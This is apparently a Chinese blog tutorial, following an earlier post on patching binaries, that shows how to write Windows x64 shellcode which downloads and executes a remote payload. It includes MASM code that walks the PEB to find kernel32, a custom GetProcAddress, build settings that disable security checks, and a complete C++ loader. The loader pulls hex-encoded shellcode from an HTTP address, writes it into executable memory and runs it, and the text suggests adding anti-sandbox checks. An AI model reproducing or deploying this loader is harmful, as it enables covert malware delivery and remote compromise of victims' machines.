上一篇文章中讲了如何patch,没讲如何写上线的shellcode,本文就简单记录一下如何编写一个远程加载的shellcode
什么是shellcode
shellcode是指不依赖环境,放到任何地方都可以执行的机器码。编写shellcode需要注意如下事项:
- 不能有全局变量,因为shellcode不依赖环境,放到其他程序中执行不一定会有这个全局变量
- 不能使用常量字符串,也就是类似于”abc”这样的字符串,需要通过数组定义字符串,例如
char string[] = {'a', 'b', 'c'};
或者char string[] = {0x61, 0x62, 0x63};
这是因为双引号字符串编译器会优先存放在常量区中,其他程序不一定有这样一个常量区;而使用数组定义字符串,数据会直接放到堆栈中,不依赖外部环境。
- 函数、导入表不使用绝对地址,因为系统不会每次都把DLL文件加载到相同地址上,而且DLL文件可能随着Windows每次新发布的更新而发生变化,所以不能依赖DLL文件中某个函数特定的偏移。shellcode需要在调用函数时,先用LoadLibrary把函数所属的DLL文件加载到内存,然后通过GetProcAddress查找所需要的函数地址,通过这个地址进行函数调用。
- 避免空字节,空字节被认为是字符串的结束符。
因为函数不能直接使用,所以需要动态加载获取函数地址,动态加载使用GetProcAddress
函数,接着用GetProcAddress
去获取kernel32中LoadLibrary
和GetProcAddress
,接着用这两个函数就能获取任意函数地址进行调用了。
1 2 3
| 1.查找PEB获取kernel32基地址 2.通过自实现的GetProcAddress去查找kernel32中的LoadLibrary和GetProcAddress 3.接着用LoadLibrary和GetProcAddress去加载各种dll中的函数
|
kernel32基址查找
由于LoadLibrary
在kernel32中,所以我们要先获取kernel32的地址,才能去加载,这里是通过peb查找,具体这里不细说
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GetModuleKernel proc xor r8, r8 xor rax, rax xor r10, r10 add r10, 60h mov rax, gs:[r10] ;通过GS寄存器获取PEB基址 mov rax, [rax + 18h] ;获取PEB中Ldr数据结构的基址 mov rax, [rax + 10h] ;获取Ldr数据结构的InmemoryOrderModuleList字段的基址 mov rax, [rax] ;获取InmemoryOrderModuleList链表第一个节点 用这个取就是ntdll的基址 mov rax, [rax] ;获取InmemoryOrderModuleList链表第一个节点 用这个就是kernen32的基址 mov rax, [rax + 30h] ;获取节点中BaseAddress字段,既kernel32.dll的基址 ret GetModuleKernel endp
|
自实现GetProcAddress
接着需要实现一下GetProcAddress
,这里主要是用来查找GetProcAddress
和LoadLibrary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| FARPROC MyGetProcAddress(HMODULE hModule, char* lpProcName) { IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModule; IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)((char*)pDosHeader + pDosHeader->e_lfanew);
//LPVOID exports1 = (LPVOID)&(pNtHeaders->OptionalHeader.DataDirectory[0]); //DWORD exports2 = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)((char*)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pAddressOfNames = (DWORD*)((char*)pDosHeader + pExportDir->AddressOfNames); WORD* pAddressOfOrdinals = (WORD*)((char*)pDosHeader + pExportDir->AddressOfNameOrdinals); DWORD* pAddressOfFunctions = (DWORD*)((char*)pDosHeader + pExportDir->AddressOfFunctions);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { LPCSTR pProcName = (LPCSTR)((char*)pDosHeader + pAddressOfNames[i]); if (MyStrCmp((char*)pProcName, lpProcName) == 0) { WORD ordinal = pAddressOfOrdinals[i]; DWORD functionRVA = pAddressOfFunctions[ordinal]; FARPROC functionPtr = (FARPROC)((char*)hModule + functionRVA); return functionPtr; } } return NULL; }
|
需要注意的是32位和64位的PE结构有些不同,所以不通用,上面的64位的
项目设置
接着就是需要设置一下项目的选项(VS2022)
- 项目设置Release,测试可以用Debug测试
- 修改入口函数,在项目属性->链接器->高级->入口点
- 接着就是一些优化处理
1 2 3 4 5
| 属性 → C/C++ → 代码生成 → 安全检查 → 禁用安全检查 属性 → C/C++ → 代码生成 → 运行库 → 多线程(/MT) 属性 → C/C++ → 优化 → 已禁用 属性 → 链接器 → 清单文件 → 生成清单文件 → 否 属性 → 链接器 → 调试 → 生成调试信息 → 否
|
由于64位不能使用内联汇编,因此需要新建一个asm文件,然后项目右键->生成依赖,勾选上masm
接着对asm文件右键->属性,选择项类型Microsoft Macro Assembler,从生成中排除否
推荐使用网上的shellcode模板,这里推荐两个CppDevShellcode和ShellcodeDev,本文基于CppDevShellcode编写
Shellcode编写
上面都搞完之后就可以开始正式写shellcode了,这里可以看先一下网上常见的远程加载的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| #include <windows.h> #include <wininet.h> #pragma comment(lib, "wininet.lib") #include <iostream> #include <fstream> #include <sstream> #include <vector>
using namespace std;
// 将十六进制中的单个字符转换为相应的整数值 unsigned char hexCharToByte(char character) { if (character >= '0' && character <= '9') { return character - '0'; } if (character >= 'a' && character <= 'f') { return character - 'a' + 10; } if (character >= 'A' && character <= 'F') { return character - 'A' + 10; } return 0; }
// 将十六进制字符串转换成字节型数组 void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) { for (int i = 0; i < hexString.length(); i += 2) { byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]); } }
/** * 从指定的URL下载内容并将其存储到给定的缓冲区中。 * * @param url 要下载的URL * @param buffer 存储下载内容的缓冲区 * @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半) */ size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) { HINTERNET hInternet, hConnect; DWORD bytesRead; DWORD bufferSize = 0; DWORD contentLength = 0; DWORD index = 0; DWORD bufferLength = sizeof(bufferSize);
// 打开一个与互联网的连接 hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet == NULL) { std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl; return 0; }
// 打开一个URL连接 hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hConnect == NULL) { std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl; InternetCloseHandle(hInternet); return 0; }
// 查询HTTP响应头中的内容长度 HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index); std::vector<char> hexBuffer(contentLength + 1, 0); // 读取URL返回的内容到hexBuffer中 if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) { std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl; } else if (bytesRead > 0) { hexBuffer[bytesRead] = '\0'; // 调整buffer的大小,以便存储转换后的字节数据 buffer.resize(bytesRead / 2); // 将十六进制字符串转换为字节型数组 hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2); }
// 关闭连接 InternetCloseHandle(hConnect); InternetCloseHandle(hInternet);
// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半) return bytesRead / 2; }
int main() { // 把这个URL换成你的shellcode文件的URL LPSTR url = (char*)"http://192.168.3.1:8088/sss.txt";
//存放恶意代码的数组 std::vector<unsigned char> buffer;
//获取远程url的16进制内容,并将其存放至buffer数组 size_t size = GetUrl_HexContent(url, buffer);
// 在内存中分配一块可以执行的区域 char* exec = (char*)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到该区域 memcpy(exec, buffer.data(), size);
// 执行该shellcode ((void(*) ())exec)();
//打印buffer的内容,只为演示,实际使用中可能并不需要这一步 //for (size_t i = 0; i < buffer.size(); i++) { // printf("%02X ", buffer[i]); // if ((i + 1) % 16 == 0) { // printf("\n"); // } //}
return 0; }
|
代码也不长,分析结果如下
1 2 3 4
| 1.远程读取服务器文件内容 2.将十六进制转换成数组 3.开辟一个可读可写可执行的内存空间,将读取的内容移动进去 4.通过函数指针方式执行上线
|
其中的十六进制转换可以去掉,保留其他步骤即可,第一步先要定义相关的函数
之后通过GetProcAddress
和LoadLibrary
去获取这些函数的地址
后面就可以按照上面的代码进行编写,写完之后就可以提取shellcode然后替换进去使用,可以添加一些反沙箱。但由于添加之后体积会变大,所以可以通过jump的方式跳转到另外一个函数去执行上线的shellcode。
最后展示一下效果